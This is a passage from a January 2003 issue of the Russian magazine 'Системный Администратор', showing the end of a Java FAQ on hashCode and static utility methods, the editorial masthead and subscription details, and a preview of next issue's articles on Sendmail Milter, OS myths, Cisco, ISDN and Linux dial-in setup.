Если в классе, экземпляром которого являетсяобъект x, метод hashCode не был переопределен, товместо «System.identityHashCode(x)» можно использо-вать эквивалентный вызов «x.hashCode()».

ВОПРОС:Хотелось бы получить в распоряжение библиотечку

«очень полезных функций» (вроде методов класса Math),которые были бы доступны в моих классах без предвари-тельного указания имени класса, содержащего эти функ-ции. Возможно ли это?

ОТВЕТ:Да, хотя это и противоречит объектно-ориентированной

идеологии языка Java. Можно создать класс-«библиотеч-ку», например Tools, состоящий только из статических ме-тодов – этих самых «очень полезных функций», и взять заправило наследовать от него все новые классы. Такой при-ем не годится, если новый класс по условию должен бытьунаследован от какого-либо класса, разработанного невами, например от java.lang.Thread. В этой ситуации мож-но сделать новый класс вложенным по отношению к внеш-нему классу, унаследованному от класса-«библиотечки».

Однако вряд ли такое решение стоит рекомендовать.Может быть, в следующих версиях Java появится возмож-ность делать то же самое «цивилизованно» – указывая вначале java-файла набор классов, статические члены ко-торых автоматически становятся доступными без допол-нительных уточнений.

Составил Даниил Алиевский

Оформляйтеподпискуна журналчерез агентство«Роспечать»

Подписныеиндексы:для частных лиц

81655для организаций ипредприятий

81656

Рады видетьВас нашимичитателями!

FAQ JAVA

Page 98: 002 Системный Администратор 01 2003

96

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

№ 1(2), Январь, 2003 год

УЧРЕДИТЕЛИВладимир ПоложевецАлександр Михалев

РЕДАКЦИЯГлавный редакторАлександр Михалев[email protected]Ответственный секретарьНаталья Хвостова[email protected]ХудожникИгорь Усков[email protected]ВерсткаВладимир Положевец[email protected]Владимир Лукин[email protected]

РЕКЛАМНАЯ СЛУЖБАтел.:(095)928-8253 (доб. 112)факс:(095)928-8253Константин Меделян[email protected]

103012, г. Москва,Ветошный переулок, дом 13/15тел.: (095) 928-8253 (доб. 112)факс: (095) 928-8253Е-mail: [email protected]: www.samag.ru

ИЗДАТЕЛЬЗАО «Издательский дом«Учительская газета»

ПЕЧАТЬЗАО «Холдинговая компания «Блиц-информ». Образцовая типография«Блиц-принт» г. Киев, ул. Довженко, 3.Тираж 5000 экз.

Журнал зарегистрированв Министерстве РФ по делам печа-ти, телерадиовещания и средств мас-совых коммуникаций (свидетельствоПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответственностьнесет автор. За содержание рекламно-го обьявления ответственность несетрекламодатель. Все права на опубли-кованные материалы защищены. Ре-дакция оставляет за собой право изме-нять содержание следующих номеров.

В версии Sendmail 8.11.6 появи-лось нововведение, которое приотк-рывает дверцу над таинственнымипроцессами по обработке почтовыхсообщений. И эта дверца – программ-ный интерфейс фильтров по содержа-нию (content filter API или, коротко,Milter) – очень существенный элементдля организации обработки почты вмасштабах всего почтового сервера.

Milter =Mail + Filter

Мифы и легендысовременнойОСологии…

Речь пойдёт о весьма распростра-нённых мифах о трёх популярных опе-рационных системах (Windows, UnixFreeBSD и Linux) в частности и о дру-гих в общем (сюда будут отнесеныQNX, OS/2, BeOS и все-все-все…).Итак, что у нас есть на данный мо-мент? Относительно немного: компь-ютерное сообщество, имеющее дур-ную привычку тратить много сил,энергии, дискового пространства сер-веров и сетевой пропускной способ-ности для обсуждения того, чья иг-рушка лучше, а именно: Windows, UnixFreeBSD или Linux. На основанииэтих… назовём их мягко – споров,часто складывается определённоемнение людей, не особо в этом раз-бирающихся… Попробуем занятьсясложным и опасным делом – понятькто прав, а кто – не очень.

Данной публикацией мы начинаемзнакомить наших читателей с обору-дованием, выпускаемым фирмойCisco. Основанная в 1984 году, Ciscoза прошедшие годы стала признан-ным лидером в производстве сете-вого оборудования. В настоящее вре-мя в сферу интересов компании вхо-дят не только канонические коммута-торы и маршрутизаторы, но и много-численное оборудование и программ-ное обеспечение, имеющие к вычис-лительным сетям весьма опосредо-ванное отношение.

Империя Cisco

ISDN (Integrated Services DigitalNetwork) – цифровые сети с интег-ральными (встроенными) услугами.

Эта технология относится к сетям,в которых режим коммутации каналовявляется основным, а данные обраба-тываются в цифровой форме. Идеиперехода телефонных сетей общегопользования (ТфОП) на полностьюцифровую обработку данных выска-зывались давно. Сначала предполага-лось, что абоненты этой сети будут пе-редавать только голосовые сообще-ния. Такие сети получили названиеIDN – Integrated Digital Network. Термин“интегрированная сеть” относился кцифровой обработке информации се-тью с цифровой передачей голосаабонентом.

Абсолютновсе о...

Как пингвинговорит потелефону

О том, как настроить в Linux мо-демное соединение, уже написанобольшое количество статей. Но согла-ситесь, что когда необходимо настра-ивать какой-нибудь модем – будь товходящее или исходящее соединение– все равно приходится открыватьпару-тройку документаций, чтобы ра-зобраться во всем с самого начала.Настоящая статья – практически го-товое решение по настройке dialin-сервера.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ: